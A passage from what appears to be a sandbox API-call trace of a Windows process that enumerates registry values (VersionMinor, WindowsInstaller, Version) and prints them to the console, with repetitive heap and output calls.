cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.846] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.846] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.847] __iob_func () returned 0x7fefd702a80 [0147.847] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.847] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x10") returned 4 [0147.847] _fileno (_File=0x7fefd702ab0) returned 1 [0147.847] _errno () returned 0xc4bb0 [0147.847] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.847] _errno () returned 0xc4bb0 [0147.847] GetFileType (hFile=0x50) returned 0x1 [0147.847] lstrlenW (lpString="0x10") returned 4 [0147.847] GetConsoleOutputCP () returned 0x1b5 [0147.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x10", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.847] GetConsoleOutputCP () returned 0x1b5 [0147.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x10", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x10", lpUsedDefaultChar=0x0) returned 4 [0147.847] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.847] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.847] __iob_func () returned 0x7fefd702a80 [0147.847] _fileno (_File=0x7fefd702ab0) returned 1 [0147.847] _errno () returned 0xc4bb0 [0147.847] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.847] _errno () returned 0xc4bb0 [0147.847] GetFileType (hFile=0x50) returned 0x1 [0147.847] lstrlenW (lpString="\n") returned 1 [0147.847] GetConsoleOutputCP () returned 0x1b5 [0147.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.848] GetConsoleOutputCP () returned 0x1b5 [0147.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.848] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.848] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.848] GetProcessHeap () returned 0x2e0000 [0147.848] GetProcessHeap () returned 0x2e0000 [0147.848] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.848] GetProcessHeap () returned 0x2e0000 [0147.848] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.848] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.848] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.848] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.848] GetProcessHeap () returned 0x2e0000 [0147.848] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.848] GetProcessHeap () returned 0x2e0000 [0147.848] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.848] GetProcessHeap () returned 0x2e0000 [0147.848] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.848] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.848] __iob_func () returned 0x7fefd702a80 [0147.848] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.848] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.848] _fileno (_File=0x7fefd702ab0) returned 1 [0147.848] _errno () returned 0xc4bb0 [0147.848] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.849] _errno () returned 0xc4bb0 [0147.849] GetFileType (hFile=0x50) returned 0x1 [0147.849] lstrlenW (lpString=" ") returned 4 [0147.849] GetConsoleOutputCP () returned 0x1b5 [0147.849] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.849] GetConsoleOutputCP () returned 0x1b5 [0147.849] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.849] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.849] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.849] lstrlenW (lpString="VersionMinor") returned 12 [0147.849] __iob_func () returned 0x7fefd702a80 [0147.849] _fileno (_File=0x7fefd702ab0) returned 1 [0147.849] _errno () returned 0xc4bb0 [0147.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.849] _errno () returned 0xc4bb0 [0147.849] GetFileType (hFile=0x50) returned 0x1 [0147.849] lstrlenW (lpString="VersionMinor") returned 12 [0147.849] GetConsoleOutputCP () returned 0x1b5 [0147.849] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.849] GetConsoleOutputCP () returned 0x1b5 [0147.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0147.850] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.850] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.850] __iob_func () returned 0x7fefd702a80 [0147.850] _fileno (_File=0x7fefd702ab0) returned 1 [0147.850] _errno () returned 0xc4bb0 [0147.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.850] _errno () returned 0xc4bb0 [0147.850] GetFileType (hFile=0x50) returned 0x1 [0147.850] lstrlenW (lpString=" ") returned 4 [0147.850] GetConsoleOutputCP () returned 0x1b5 [0147.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.850] GetConsoleOutputCP () returned 0x1b5 [0147.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.850] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.850] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.850] __iob_func () returned 0x7fefd702a80 [0147.850] _fileno (_File=0x7fefd702ab0) returned 1 [0147.850] _errno () returned 0xc4bb0 [0147.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.850] _errno () returned 0xc4bb0 [0147.850] GetFileType (hFile=0x50) returned 0x1 [0147.850] lstrlenW (lpString="REG_DWORD") returned 9 [0147.851] GetConsoleOutputCP () returned 0x1b5 [0147.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.851] GetConsoleOutputCP () returned 0x1b5 [0147.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.851] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.851] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.851] __iob_func () returned 0x7fefd702a80 [0147.851] _fileno (_File=0x7fefd702ab0) returned 1 [0147.851] _errno () returned 0xc4bb0 [0147.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.851] _errno () returned 0xc4bb0 [0147.851] GetFileType (hFile=0x50) returned 0x1 [0147.851] lstrlenW (lpString=" ") returned 4 [0147.851] GetConsoleOutputCP () returned 0x1b5 [0147.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.851] GetConsoleOutputCP () returned 0x1b5 [0147.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.851] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.851] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.852] __iob_func () returned 0x7fefd702a80 [0147.852] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.852] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.852] _fileno (_File=0x7fefd702ab0) returned 1 [0147.852] _errno () returned 0xc4bb0 [0147.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.852] _errno () returned 0xc4bb0 [0147.852] GetFileType (hFile=0x50) returned 0x1 [0147.852] lstrlenW (lpString="0x0") returned 3 [0147.852] GetConsoleOutputCP () returned 0x1b5 [0147.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.852] GetConsoleOutputCP () returned 0x1b5 [0147.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.852] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.852] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.852] __iob_func () returned 0x7fefd702a80 [0147.852] _fileno (_File=0x7fefd702ab0) returned 1 [0147.852] _errno () returned 0xc4bb0 [0147.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.852] _errno () returned 0xc4bb0 [0147.852] GetFileType (hFile=0x50) returned 0x1 [0147.852] lstrlenW (lpString="\n") returned 1 [0147.852] GetConsoleOutputCP () returned 0x1b5 [0147.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.853] GetConsoleOutputCP () returned 0x1b5 [0147.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.853] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.853] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.853] GetProcessHeap () returned 0x2e0000 [0147.853] GetProcessHeap () returned 0x2e0000 [0147.853] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.853] GetProcessHeap () returned 0x2e0000 [0147.853] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.853] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.853] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.853] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.853] GetProcessHeap () returned 0x2e0000 [0147.853] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.853] GetProcessHeap () returned 0x2e0000 [0147.853] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.853] GetProcessHeap () returned 0x2e0000 [0147.853] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.853] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.853] __iob_func () returned 0x7fefd702a80 [0147.853] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.853] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.853] _fileno (_File=0x7fefd702ab0) returned 1 [0147.853] _errno () returned 0xc4bb0 [0147.853] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.853] _errno () returned 0xc4bb0 [0147.853] GetFileType (hFile=0x50) returned 0x1 [0147.853] lstrlenW (lpString=" ") returned 4 [0147.853] GetConsoleOutputCP () returned 0x1b5 [0147.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.854] GetConsoleOutputCP () returned 0x1b5 [0147.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.854] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.854] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.854] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.854] __iob_func () returned 0x7fefd702a80 [0147.854] _fileno (_File=0x7fefd702ab0) returned 1 [0147.854] _errno () returned 0xc4bb0 [0147.854] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.854] _errno () returned 0xc4bb0 [0147.854] GetFileType (hFile=0x50) returned 0x1 [0147.854] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.854] GetConsoleOutputCP () returned 0x1b5 [0147.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.854] GetConsoleOutputCP () returned 0x1b5 [0147.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0147.854] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0147.854] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.855] __iob_func () returned 0x7fefd702a80 [0147.855] _fileno (_File=0x7fefd702ab0) returned 1 [0147.855] _errno () returned 0xc4bb0 [0147.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.855] _errno () returned 0xc4bb0 [0147.855] GetFileType (hFile=0x50) returned 0x1 [0147.855] lstrlenW (lpString=" ") returned 4 [0147.855] GetConsoleOutputCP () returned 0x1b5 [0147.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.855] GetConsoleOutputCP () returned 0x1b5 [0147.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.855] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.855] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.855] __iob_func () returned 0x7fefd702a80 [0147.855] _fileno (_File=0x7fefd702ab0) returned 1 [0147.855] _errno () returned 0xc4bb0 [0147.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.855] _errno () returned 0xc4bb0 [0147.855] GetFileType (hFile=0x50) returned 0x1 [0147.855] lstrlenW (lpString="REG_DWORD") returned 9 [0147.855] GetConsoleOutputCP () returned 0x1b5 [0147.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.855] GetConsoleOutputCP () returned 0x1b5 [0147.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.856] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.856] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.856] __iob_func () returned 0x7fefd702a80 [0147.856] _fileno (_File=0x7fefd702ab0) returned 1 [0147.856] _errno () returned 0xc4bb0 [0147.856] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.856] _errno () returned 0xc4bb0 [0147.856] GetFileType (hFile=0x50) returned 0x1 [0147.856] lstrlenW (lpString=" ") returned 4 [0147.856] GetConsoleOutputCP () returned 0x1b5 [0147.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.856] GetConsoleOutputCP () returned 0x1b5 [0147.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.856] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.856] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.856] __iob_func () returned 0x7fefd702a80 [0147.856] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.856] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.856] _fileno (_File=0x7fefd702ab0) returned 1 [0147.856] _errno () returned 0xc4bb0 [0147.856] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.856] _errno () returned 0xc4bb0 [0147.856] GetFileType (hFile=0x50) returned 0x1 [0147.857] lstrlenW (lpString="0x1") returned 3 [0147.857] GetConsoleOutputCP () returned 0x1b5 [0147.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.857] GetConsoleOutputCP () returned 0x1b5 [0147.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.857] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.857] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.857] __iob_func () returned 0x7fefd702a80 [0147.857] _fileno (_File=0x7fefd702ab0) returned 1 [0147.857] _errno () returned 0xc4bb0 [0147.857] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.857] _errno () returned 0xc4bb0 [0147.857] GetFileType (hFile=0x50) returned 0x1 [0147.857] lstrlenW (lpString="\n") returned 1 [0147.857] GetConsoleOutputCP () returned 0x1b5 [0147.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.857] GetConsoleOutputCP () returned 0x1b5 [0147.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.857] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.857] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.858] GetProcessHeap () returned 0x2e0000 [0147.858] GetProcessHeap () returned 0x2e0000 [0147.858] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.858] GetProcessHeap () returned 0x2e0000 [0147.858] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.858] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.858] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.858] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.858] GetProcessHeap () returned 0x2e0000 [0147.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.858] GetProcessHeap () returned 0x2e0000 [0147.858] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.858] GetProcessHeap () returned 0x2e0000 [0147.858] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.858] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x10002086, pcbData=0x23f670*=0x4) returned 0x0 [0147.858] __iob_func () returned 0x7fefd702a80 [0147.858] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.858] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.858] _fileno (_File=0x7fefd702ab0) returned 1 [0147.858] _errno () returned 0xc4bb0 [0147.858] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.858] _errno () returned 0xc4bb0 [0147.858] GetFileType (hFile=0x50) returned 0x1 [0147.858] lstrlenW (lpString=" ") returned 4 [0147.858] GetConsoleOutputCP () returned 0x1b5 [0147.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.858] GetConsoleOutputCP () returned 0x1b5 [0147.859] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.859] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: 